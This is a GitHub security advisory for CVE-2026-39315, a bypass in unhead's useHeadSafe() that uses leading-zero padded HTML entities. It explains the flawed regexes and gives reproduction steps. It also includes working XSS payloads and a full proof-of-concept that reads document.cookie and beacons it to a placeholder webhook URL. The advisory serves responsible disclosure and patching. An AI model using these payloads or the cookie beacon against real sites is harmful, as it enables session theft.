GitHub Advisoryadvisory · npm

GHSA-95h2-gj7x-gx9w Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()

MEDIUM Published 2026-04-09 Modified 2026-04-09 Official page ↗
Aliases
CVE-2026-39315
Ecosystem
npm
Packages
unhead
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weaknesses
CWE-184
Reviewed
2026-04-09

Affected packages

• npm unhead: < 2.1.13 → fixed in 2.1.13

Description

EVIDENCE | Disclosed to Vercel H1 | 2026-03-22 (no response after 12 days) | | Cross-reported here | 2026-04-03 | --- Summary `useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in `` safely. Internally, the `hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes HTML entities before checking for blocked URI schemes (`javascript:`, `data:`, `vbscript:`). The decoder uses two regular expressions with fixed-width digit caps: ```js // Current — vulnerable const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi const HtmlEntityDec = /&#(\d{1,7});?/g ``` The HTML5 specification imposes no limit on leading zeros in numeric character references. Both of the following are valid, spec-compliant encodings of `:` (U+003A): • `&#0000000058;` — 10 decimal digits, exceeds the `\d{1,7}` cap • `&#x000003A;` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to `startsWith('javascript:')`, which does not match. `makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. > Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, > which was an attribute *key* injection via the `data-*` prefix. This finding targets > the attribute *value* decoder — a different code path with a different root cause and > a different fix. --- Root Cause Analysis Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11) ```js const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max const HtmlEntityDec = /&#(\d{1,7});?/g // cap: 7 decimal digits max ``` Why the bypass works The HTML5 parser specification ([§ Numeric character reference end state][html5-spec]) states that leading zeros in numeric character references are valid and the number of digits is unbounded. A conformant browser will decode `&#x000003A;` as `:` regardless of the number of leading zeros. Because the regex caps are lower than the digit counts an attacker can supply, the entity match fails silently. The raw padded string (`java&#0000000058;script:alert(1)`) is passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`, and the value is rendered into SSR output verbatim. The browser then decodes the entity and the blocked scheme is present in the live DOM. --- Steps to Reproduce Environment • Nuxt: 4.x (current) • unhead: 2.1.12 (current at time of report) • Node: 20 LTS • Chrome: 146+ Step 1 — Create a fresh Nuxt 4 project ```bash npx nuxi init poc cd poc npm install ``` Step 2 — Replace `pages/index.vue` ```vue useHeadSafe bypass PoC View page source or run the curl command below. import { useHeadSafe } from '#imports' useHeadSafe({ link: [ // 10-digit decimal padding — exceeds \d{1,7} cap { rel: 'stylesheet', href: 'java&#0000000058;script:alert(1)' }, // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap { rel: 'icon', href: 'data&#x000003A;text/html,alert(document.cookie)' } ] }) ``` Step 3 — Start the dev server and inspect SSR output ```bash npm run dev ``` In a separate terminal: ```bash curl -s http://localhost:3000 | grep ' alert(document.cookie)" rel="icon"> ``` Both `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()` blocklist — are present in server-rendered HTML. The browser decodes the padded entities natively on load. --- Confirmed Execution Path (data: URI via iframe, Chrome 146+) Immediate script execution from `` tags does not occur automatically — browsers do not create a browsing context from ``. The exploitability of this bypass therefore depends on whether downstream application code consumes `` href values. This is a common pattern in real-world Nuxt applications: • Head management libraries that hydrate or re-process `` tags on the client • SEO and analytics scripts that read canonical or icon link values • Application features that preview, validate, or forward link URLs into iframes • Developer tooling that loads icon URLs for thumbnail generation Chrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:` navigation has been blocked since Chrome 60. The following snippet — representative of any downstream consumer that forwards `` into an iframe — triggers confirmed script execution: ```js // Simulates downstream head-management or SEO utility reading a href const link = document.querySelector('link[rel="icon"]'); if (link) { const iframe = document.createElement('iframe'); iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI document.body.appendChild(iframe); // alert() fires } ``` Full PoC with cookie exfiltration beacon > Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running. ```vue useHeadSafe padded entity bypass — full PoC Dummy cookie: Loading… import { useHeadSafe } from '#imports' import { onMounted } from 'vue' onMounted(() => { document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None' const el = document.getElementById('cookie-display') if (el) el.textContent = document.cookie // Simulate downstream consumption: load the bypassed icon href into an iframe const link = document.querySelector('link[rel="icon"]') if (link) { const iframe = document.createElement('iframe') iframe.src = link.href iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px' document.body.appendChild(iframe) } }) const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE' useHeadSafe({ link: [ { rel: 'icon', href: `data&#x000003A;text/html;base64,${btoa(` alert('XSS via useHeadSafe padded entity bypass'); new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({ finding: 'useHeadSafe hasDangerousProtocol bypass', cookie: document.cookie || 'session=super-secret-token-12345 (dummy)', origin: location.origin, ts: Date.now() })); `)}` } ] }) ``` Observed result: 1. `alert()` fires from inside the iframe's `data:` document context 2. Webhook receives a GET request with the cookie value and origin in the query string 3. Page source confirms `&#x000003A;` is present unescaped in the SSR-rendered `` tag > All testing was performed aga…

Related

Alias · CVE (1)

  • CVE-2026-39315 Unhead is a document head and template manager. vulnerability

Weakness · CWE (1)

  • CWE-184 Incomplete List of Disallowed Inputs weakness

References